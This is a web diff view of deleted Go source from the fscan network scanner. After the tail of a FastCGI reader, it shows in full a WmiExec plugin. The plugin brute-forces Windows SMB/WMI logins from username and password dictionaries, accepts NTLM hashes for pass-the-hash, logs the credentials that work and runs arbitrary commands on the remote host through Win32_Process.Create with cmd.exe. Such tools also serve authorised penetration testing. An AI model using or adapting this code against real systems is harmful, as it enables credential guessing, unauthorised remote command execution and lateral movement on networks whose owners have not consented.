case rec.h.Type == FCGI_STDOUT:
|
|
||||||
retout = append(retout, rec.content()...)
|
|
||||||
case rec.h.Type == FCGI_STDERR:
|
|
||||||
reterr = append(reterr, rec.content()...)
|
|
||||||
case rec.h.Type == FCGI_END_REQUEST:
|
|
||||||
fallthrough
|
|
||||||
default:
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return
|
|
||||||
}
|
|
@ -1,185 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"github.com/go-ole/go-ole"
|
|
||||||
"github.com/go-ole/go-ole/oleutil"
|
|
||||||
"github.com/shadow1ng/fscan/Common"
|
|
||||||
"os"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
ClientHost string
|
|
||||||
flag bool
|
|
||||||
)
|
|
||||||
|
|
||||||
func init() {
|
|
||||||
if flag {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
clientHost, err := os.Hostname()
|
|
||||||
if err != nil {
|
|
||||||
fmt.Println(err)
|
|
||||||
}
|
|
||||||
ClientHost = clientHost
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
|
|
||||||
func WmiExec(info *Common.HostInfo) (tmperr error) {
|
|
||||||
if Common.DisableBrute {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
|
||||||
starttime := time.Now().Unix()
|
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
|
||||||
for _, user := range Common.Userdict["smb"] {
|
|
||||||
for _, pass := range Common.Passwords {
|
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
|
||||||
|
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
|
||||||
// 执行WMI连接
|
|
||||||
done := make(chan struct {
|
|
||||||
success bool
|
|
||||||
err error
|
|
||||||
})
|
|
||||||
|
|
||||||
go func(user, pass string) {
|
|
||||||
success, err := Wmiexec(info, user, pass, Common.HashValue)
|
|
||||||
done <- struct {
|
|
||||||
success bool
|
|
||||||
err error
|
|
||||||
}{success, err}
|
|
||||||
}(user, pass)
|
|
||||||
|
|
||||||
// 等待结果或超时
|
|
||||||
var err error
|
|
||||||
select {
|
|
||||||
case result := <-done:
|
|
||||||
err = result.err
|
|
||||||
if result.success {
|
|
||||||
// 成功连接
|
|
||||||
var successLog string
|
|
||||||
if Common.Domain != "" {
|
|
||||||
successLog = fmt.Sprintf("WmiExec %v:%v:%v\\%v ",
|
|
||||||
info.Host, info.Ports, Common.Domain, user)
|
|
||||||
} else {
|
|
||||||
successLog = fmt.Sprintf("WmiExec %v:%v:%v ",
|
|
||||||
info.Host, info.Ports, user)
|
|
||||||
}
|
|
||||||
|
|
||||||
if Common.HashValue != "" {
|
|
||||||
successLog += "hash: " + Common.HashValue
|
|
||||||
} else {
|
|
||||||
successLog += pass
|
|
||||||
}
|
|
||||||
Common.LogSuccess(successLog)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
|
||||||
err = fmt.Errorf("连接超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理错误情况
|
|
||||||
if err != nil {
|
|
||||||
errlog := fmt.Sprintf("WmiExec %v:%v %v %v %v",
|
|
||||||
info.Host, 445, user, pass, err)
|
|
||||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
|
||||||
Common.LogError(errlog)
|
|
||||||
|
|
||||||
// 检查是否需要重试
|
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
|
||||||
if retryCount == maxRetries-1 {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
continue // 继续重试
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
break // 如果不需要重试,跳出重试循环
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果是32位hash值,只尝试一次密码
|
|
||||||
if len(Common.HashValue) == 32 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return tmperr
|
|
||||||
}
|
|
||||||
|
|
||||||
func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
|
|
||||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
|
||||||
return WMIExec(target, user, pass, hash, Common.Domain, Common.Command)
|
|
||||||
}
|
|
||||||
|
|
||||||
func WMIExec(target, username, password, hash, domain, command string) (flag bool, err error) {
|
|
||||||
err = ole.CoInitialize(0)
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
defer ole.CoUninitialize()
|
|
||||||
|
|
||||||
// 构建认证字符串
|
|
||||||
var auth string
|
|
||||||
if domain != "" {
|
|
||||||
auth = fmt.Sprintf("%s\\%s:%s", domain, username, password)
|
|
||||||
} else {
|
|
||||||
auth = fmt.Sprintf("%s:%s", username, password)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 构建WMI连接字符串
|
|
||||||
connectStr := fmt.Sprintf("winmgmts://%s@%s/root/cimv2", auth, target)
|
|
||||||
|
|
||||||
unknown, err := oleutil.CreateObject("WbemScripting.SWbemLocator")
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
defer unknown.Release()
|
|
||||||
|
|
||||||
wmi, err := unknown.QueryInterface(ole.IID_IDispatch)
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
defer wmi.Release()
|
|
||||||
|
|
||||||
// 使用connectStr来建立连接
|
|
||||||
service, err := oleutil.CallMethod(wmi, "ConnectServer", "", connectStr)
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
defer service.Clear()
|
|
||||||
|
|
||||||
// 连接成功
|
|
||||||
flag = true
|
|
||||||
|
|
||||||
// 如果有命令则执行
|
|
||||||
if command != "" {
|
|
||||||
command = "C:\\Windows\\system32\\cmd.exe /c " + command
|
|
||||||
|
|
||||||
// 创建Win32_Process对象来执行命令
|
|
||||||
process, err := oleutil.CallMethod(service.ToIDispatch(), "Get", "Win32_Process")
|
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
defer process.Clear()
|
|
||||||
|
|
||||||
// 执行命令
|
|
||||||
_, err = oleutil.CallMethod(process.ToIDispatch(), "Create", command)
|
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return flag, nil
|
|
||||||
}
|
|
Loading…
Reference in New Issue
Block a user